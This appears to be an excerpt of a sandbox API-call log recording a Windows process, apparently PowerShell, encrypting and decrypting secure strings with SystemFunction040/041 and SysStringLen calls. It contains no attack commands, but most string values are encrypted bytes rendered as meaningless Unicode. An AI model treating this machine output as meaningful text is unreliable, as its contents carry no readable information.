SysStringLen (param_1="lYKBLfLzURY6IO1W+g+Dxj/VJ7bkBncD") returned 0x20 [0235.532] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0235.532] SysStringLen (param_1="휭䕫焹梙䴆꧌趷壝椪胉뵬❦ἑ鹥⤘ਃ祚긪簞䙻ఐዛᱞ䭱碪㦏皟潻踉⦂") returned 0x20 [0235.532] SysStringLen (param_1="휭䕫焹梙䴆꧌趷壝椪胉뵬❦ἑ鹥⤘ਃ祚긪簞䙻ఐዛᱞ䭱碪㦏皟潻踉⦂") returned 0x20 [0235.532] SysStringLen (param_1="휭䕫焹梙䴆꧌趷壝椪胉뵬❦ἑ鹥⤘ਃ祚긪簞䙻ఐዛᱞ䭱碪㦏皟潻踉⦂") returned 0x20 [0235.532] SysStringLen (param_1="휭䕫焹梙䴆꧌趷壝椪胉뵬❦ἑ鹥⤘ਃ祚긪簞䙻ఐዛᱞ䭱碪㦏皟潻踉⦂ԑ") returned 0x28 [0235.532] SystemFunction041 (in: Memory=0x5c9aeb4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9aeb4) returned 0x0 [0235.533] SysStringLen (param_1="lYKBLfLzURY6IO1W+g+Dxj/VJ7bkBncD7⯆鱳壍௻Έ픪쯙") returned 0x28 [0235.533] SystemFunction040 (in: Memory=0x5c9aeb4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9aeb4) returned 0x0 [0235.533] SysStringLen (param_1="휭䕫焹梙䴆꧌趷壝椪胉뵬❦ἑ鹥⤘ਃ祚긪簞䙻ఐዛᱞ䭱碪㦏皟潻踉⦂ᵿ鍀淹赂驰찿ᬭ拔") returned 0x28 [0235.533] SysStringLen (param_1="휭䕫焹梙䴆꧌趷壝椪胉뵬❦ἑ鹥⤘ਃ祚긪簞䙻ఐዛᱞ䭱碪㦏皟潻踉⦂ᵿ鍀淹赂驰찿ᬭ拔") returned 0x28 [0235.533] SystemFunction041 (in: Memory=0x5c9aeb4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9aeb4) returned 0x0 [0235.533] SysStringLen (param_1="lYKBLfLzURY6IO1W+g+Dxj/VJ7bkBncD7s鱳壍௻Έ픪쯙") returned 0x28 [0235.533] SystemFunction040 (in: Memory=0x5c9aeb4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9aeb4) returned 0x0 [0235.533] SysStringLen (param_1="휭䕫焹梙䴆꧌趷壝椪胉뵬❦ἑ鹥⤘ਃ祚긪簞䙻ఐዛᱞ䭱碪㦏皟潻踉⦂縯ꓙᗐ捇菺饜去ꎠ") returned 0x28 [0235.533] SysStringLen (param_1="휭䕫焹梙䴆꧌趷壝椪胉뵬❦ἑ鹥⤘ਃ祚긪簞䙻ఐዛᱞ䭱碪㦏皟潻踉⦂縯ꓙᗐ捇菺饜去ꎠ") returned 0x28 [0235.533] SystemFunction041 (in: Memory=0x5c9aeb4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9aeb4) returned 0x0 [0235.533] SysStringLen (param_1="lYKBLfLzURY6IO1W+g+Dxj/VJ7bkBncD7s9壍௻Έ픪쯙") returned 0x28 [0235.533] SystemFunction040 (in: Memory=0x5c9aeb4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9aeb4) returned 0x0 [0235.533] SysStringLen (param_1="휭䕫焹梙䴆꧌趷壝椪胉뵬❦ἑ鹥⤘ਃ祚긪簞䙻ఐዛᱞ䭱碪㦏皟潻踉⦂孧ȼ떲ഽצּ笩ﱡ") returned 0x28 [0235.533] SysStringLen (param_1="휭䕫焹梙䴆꧌趷壝椪胉뵬❦ἑ鹥⤘ਃ祚긪簞䙻ఐዛᱞ䭱碪㦏皟潻踉⦂孧ȼ떲ഽצּ笩ﱡ") returned 0x28 [0235.534] SystemFunction041 (in: Memory=0x5c9aeb4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9aeb4) returned 0x0 [0235.534] SysStringLen (param_1="lYKBLfLzURY6IO1W+g+Dxj/VJ7bkBncD7s92௻Έ픪쯙") returned 0x28 [0235.534] SystemFunction040 (in: Memory=0x5c9aeb4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9aeb4) returned 0x0 [0235.534] SysStringLen (param_1="휭䕫焹梙䴆꧌趷壝椪胉뵬❦ἑ鹥⤘ਃ祚긪簞䙻ఐዛᱞ䭱碪㦏皟潻踉⦂纝짬ꌘ쥴廏녾") returned 0x28 [0235.534] SysStringLen (param_1="휭䕫焹梙䴆꧌趷壝椪胉뵬❦ἑ鹥⤘ਃ祚긪簞䙻ఐዛᱞ䭱碪㦏皟潻踉⦂纝짬ꌘ쥴廏녾") returned 0x28 [0235.534] SystemFunction041 (in: Memory=0x5c9aeb4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9aeb4) returned 0x0 [0235.534] SysStringLen (param_1="lYKBLfLzURY6IO1W+g+Dxj/VJ7bkBncD7s924Έ픪쯙") returned 0x28 [0235.534] SystemFunction040 (in: Memory=0x5c9aeb4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9aeb4) returned 0x0 [0235.534] SysStringLen (param_1="휭䕫焹梙䴆꧌趷壝椪胉뵬❦ἑ鹥⤘ਃ祚긪簞䙻ఐዛᱞ䭱碪㦏皟潻踉⦂ꪱ鍷燹䀀丕秕㺄磠") returned 0x28 [0235.534] SysStringLen (param_1="휭䕫焹梙䴆꧌趷壝椪胉뵬❦ἑ鹥⤘ਃ祚긪簞䙻ఐዛᱞ䭱碪㦏皟潻踉⦂ꪱ鍷燹䀀丕秕㺄磠") returned 0x28 [0235.534] SystemFunction041 (in: Memory=0x5c9aeb4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9aeb4) returned 0x0 [0235.534] SysStringLen (param_1="lYKBLfLzURY6IO1W+g+Dxj/VJ7bkBncD7s924E픪쯙") returned 0x28 [0235.534] SystemFunction040 (in: Memory=0x5c9aeb4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9aeb4) returned 0x0 [0235.534] SysStringLen (param_1="휭䕫焹梙䴆꧌趷壝椪胉뵬❦ἑ鹥⤘ਃ祚긪簞䙻ఐዛᱞ䭱碪㦏皟潻踉⦂鬡㎹㩸풲ꅤ歠濯棡") returned 0x28 [0235.535] SysStringLen (param_1="휭䕫焹梙䴆꧌趷壝椪胉뵬❦ἑ鹥⤘ਃ祚긪簞䙻ఐዛᱞ䭱碪㦏皟潻踉⦂鬡㎹㩸풲ꅤ歠濯棡") returned 0x28 [0235.535] SystemFunction041 (in: Memory=0x5c9aeb4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9aeb4) returned 0x0 [0235.535] SysStringLen (param_1="lYKBLfLzURY6IO1W+g+Dxj/VJ7bkBncD7s924EQ쯙") returned 0x28 [0235.535] SystemFunction040 (in: Memory=0x5c9aeb4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9aeb4) returned 0x0 [0235.535] SysStringLen (param_1="휭䕫焹梙䴆꧌趷壝椪胉뵬❦ἑ鹥⤘ਃ祚긪簞䙻ఐዛᱞ䭱碪㦏皟潻踉⦂룘䑑늕淮쇴ݰŢ㲬") returned 0x28 [0235.535] SysStringLen (param_1="휭䕫焹梙䴆꧌趷壝椪胉뵬❦ἑ鹥⤘ਃ祚긪簞䙻ఐዛᱞ䭱碪㦏皟潻踉⦂룘䑑늕淮쇴ݰŢ㲬") returned 0x28 [0235.535] SystemFunction041 (in: Memory=0x5c9aeb4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9aeb4) returned 0x0 [0235.535] SysStringLen (param_1="lYKBLfLzURY6IO1W+g+Dxj/VJ7bkBncD7s924EQB") returned 0x28 [0235.535] SystemFunction040 (in: Memory=0x5c9aeb4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9aeb4) returned 0x0 [0235.535] SysStringLen (param_1="휭䕫焹梙䴆꧌趷壝椪胉뵬❦ἑ鹥⤘ਃ祚긪簞䙻ఐዛᱞ䭱碪㦏皟潻踉⦂✣꛲٢稼硩텢攠㧃") returned 0x28 [0235.535] SysStringLen (param_1="휭䕫焹梙䴆꧌趷壝椪胉뵬❦ἑ鹥⤘ਃ祚긪簞䙻ఐዛᱞ䭱碪㦏皟潻踉⦂✣꛲٢稼硩텢攠㧃") returned 0x28 [0235.535] SysStringLen (param_1="휭䕫焹梙䴆꧌趷壝椪胉뵬❦ἑ鹥⤘ਃ祚긪簞䙻ఐዛᱞ䭱碪㦏皟潻踉⦂✣꛲٢稼硩텢攠㧃") returned 0x28 [0235.536] SysStringLen (param_1="휭䕫焹梙䴆꧌趷壝椪胉뵬❦ἑ鹥⤘ਃ祚긪簞䙻ఐዛᱞ䭱碪㦏皟潻踉⦂✣꛲٢稼硩텢攠㧃") returned 0x30 [0235.536] SystemFunction041 (in: Memory=0x5c92e24, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e24) returned 0x0 [0235.536] SysStringLen (param_1="lYKBLfLzURY6IO1W+g+Dxj/VJ7bkBncD7s924EQBj鹧焋샲朝ᙓ") returned 0x30 [0235.536] SystemFunction040 (in: Memory=0x5c92e24, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e24) returned 0x0 [0235.536] SysStringLen (param_1="휭䕫焹梙䴆꧌趷壝椪胉뵬❦ἑ鹥⤘ਃ祚긪簞䙻ఐዛᱞ䭱碪㦏皟潻踉⦂✣꛲٢稼硩텢攠㧃㴾먚ᔶ翋鞫秐驮") returned 0x30 [0235.536] SysStringLen (param_1="휭䕫焹梙䴆꧌趷壝椪胉뵬❦ἑ鹥⤘ਃ祚긪簞䙻ఐዛᱞ䭱碪㦏皟潻踉⦂✣꛲٢稼硩텢攠㧃㴾먚ᔶ翋鞫秐驮") returned 0x30 [0235.536] SystemFunction041 (in: Memory=0x5c92e24, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e24) returned 0x0 [0235.536] SysStringLen (param_1="lYKBLfLzURY6IO1W+g+Dxj/VJ7bkBncD7s924EQBjV焋샲朝ᙓ") returned 0x30 [0235.536] SystemFunction040 (in: Memory=0x5c92e24, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e24) returned 0x0 [0235.536] SysStringLen (param_1="휭䕫焹梙䴆꧌趷壝椪胉뵬❦ἑ鹥⤘ਃ祚긪簞䙻ఐዛᱞ䭱碪㦏皟潻踉⦂✣꛲٢稼硩텢攠㧃㧲섿盭冡삸铘㎊") returned 0x30 [0235.536] SysStringLen (param_1="휭䕫焹梙䴆꧌趷壝椪胉뵬❦ἑ鹥⤘ਃ祚긪簞䙻ఐዛᱞ䭱碪㦏皟潻踉⦂✣꛲٢稼硩텢攠㧃㧲섿盭冡삸铘㎊") returned 0x30 [0235.536] SystemFunction041 (in: Memory=0x5c92e24, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e24) returned 0x0 [0235.537] SysStringLen (param_1="lYKBLfLzURY6IO1W+g+Dxj/VJ7bkBncD7s924EQBjVw샲朝ᙓ") returned 0x30 [0235.537] SystemFunction040 (in: Memory=0x5c92e24, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e24) returned 0x0 [0235.537] SysStringLen (param_1="휭䕫焹梙䴆꧌趷壝椪胉뵬❦ἑ鹥⤘ਃ祚긪簞䙻ఐዛᱞ䭱碪㦏皟潻踉⦂✣꛲٢稼硩텢攠㧃奬\⃙虪똝࿍☕⊅) returned 0x30 [0235.537] SysStringLen (param_1="휭䕫焹梙䴆꧌趷壝椪胉뵬❦ἑ鹥⤘ਃ祚긪簞䙻ఐዛᱞ䭱碪㦏皟潻踉⦂✣꛲٢稼硩텢攠㧃奬\⃙虪똝࿍☕⊅) returned 0x30 [0235.537] SystemFunction041 (in: Memory=0x5c92e24, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e24) returned 0x0 [0235.537] SysStringLen (param_1="lYKBLfLzURY6IO1W+g+Dxj/VJ7bkBncD7s924EQBjVw=朝ᙓ") returned 0x30 [0235.537] SystemFunction040 (in: Memory=0x5c92e24, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e24) returned 0x0 [0235.537] EtwEventActivityIdControl () returned 0x0 [0235.537] EtwEventActivityIdControl () returned 0x0 [0235.537] EtwEventActivityIdControl () returned 0x0 [0235.538] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e684, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0235.538] EtwEventActivityIdControl () returned 0x0 [0235.538] EtwEventActivityIdControl () returned 0x0 [0235.538] EtwEventActivityIdControl () returned 0x0 [0235.539] SysStringLen (param_1="") returned 0x8 [0235.539] SysStringLen (param_1="N") returned 0x8 [0235.539] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0235.539] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0235.539] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0235.539] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0235.539] SysStringLen (param_1="ND") returned 0x8 [0235.539] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0235.539] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0235.539] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0235.539] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0235.539] SysStringLen (param_1="NDZ") returned 0x8 [0235.539] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0235.539] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0235.540] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0235.540] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0235.540] SysStringLen (param_1="NDZl") returned 0x8 [0235.540] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0235.540] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0235.540] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0235.540] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0235.540] SysStringLen (param_1="NDZlO") returned 0x8 [0235.540] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0235.540] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0235.540] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0235.540] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0235.540] SysStringLen (param_1="NDZlOD") returned 0x8 [0235.540] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0235.540] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0235.541] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0235.541] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0235.541] SysStringLen (param_1="NDZlODR") returned 0x8 [0235.541] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0235.541] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0235.541] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0235.541] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0235.541] SysStringLen (param_1="NDZlODRm") returned 0x8 [0235.541] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0235.541] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0235.541] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0235.541] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0235.542] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x10 [0235.542] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0235.542] SysStringLen (param_1="NDZlODRmY뮇펬᠚࣢ᣆ㬞勉") returned 0x10 [0235.542] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0235.542] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0235.542] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0235.542] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0235.542] SysStringLen (param_1="NDZlODRmYz펬᠚࣢ᣆ㬞勉") returned 0x10 [0235.542] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0235.543] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0235.543] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0235.543] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0235.543] SysStringLen (param_1="NDZlODRmYzN᠚࣢ᣆ㬞勉") returned 0x10 [0235.543] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0235.543] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0235.543] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0235.543] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0235.543] SysStringLen (param_1="NDZlODRmYzNl࣢ᣆ㬞勉") returned 0x10 [0235.543] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0235.543] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0235.543] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0235.543] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0235.543] SysStringLen (param_1="NDZlODRmYzNlYᣆ㬞勉") returned 0x10 [0235.543] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0235.544] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0235.544] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0235.549] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0235.550] SysStringLen (param_1="NDZlODRmYzNlYT㬞勉") returned 0x10 [0235.550] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0235.550] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0235.550] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0235.550] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0235.550] SysStringLen (param_1="NDZlODRmYzNlYTJ勉") returned 0x10 [0235.550] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0235.550] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0235.550] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0235.550] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0235.550] SysStringLen (param_1="NDZlODRmYzNlYTJh") returned 0x10 [0235.551] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0235.551] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0235.551] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0235.551] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0235.552] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x18 [0235.552] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0235.552] SysStringLen (param_1="NDZlODRmYzNlYTJhM虵亅㸱멷嘇ꚺ") returned 0x18 [0235.552] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0235.552] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0235.552] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0235.552] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0235.552] SysStringLen (param_1="NDZlODRmYzNlYTJhMD亅㸱멷嘇ꚺ") returned 0x18 [0235.552] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0235.552] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0235.552] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0235.552] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0235.552] SysStringLen (param_1="NDZlODRmYzNlYTJhMDF㸱멷嘇ꚺ") returned 0x18 [0235.552] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0235.553] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0235.553] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0235.553] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0235.553] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFl멷嘇ꚺ") returned 0x18 [0235.553] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0235.553] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0235.553] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0235.553] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0235.553] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlM嘇ꚺ") returned 0x18 [0235.553] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0235.553] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0235.553] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0235.553] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0235.553] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTꚺ") returned 0x18 [0235.553] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0235.554] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0235.554] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0235.554] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0235.554] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTU") returned 0x18 [0235.554] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0235.554] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0235.554] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0235.554] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0235.554] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUw") returned 0x18 [0235.554] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0235.554] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0235.554] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0235.554] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0235.555] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x20 [0235.555] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0235.555] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZㄵ㋛仄杫ℂ︸饉") returned 0x20 [0235.555] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0235.555] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0235.555] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0235.555] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0235.555] SysStringLen 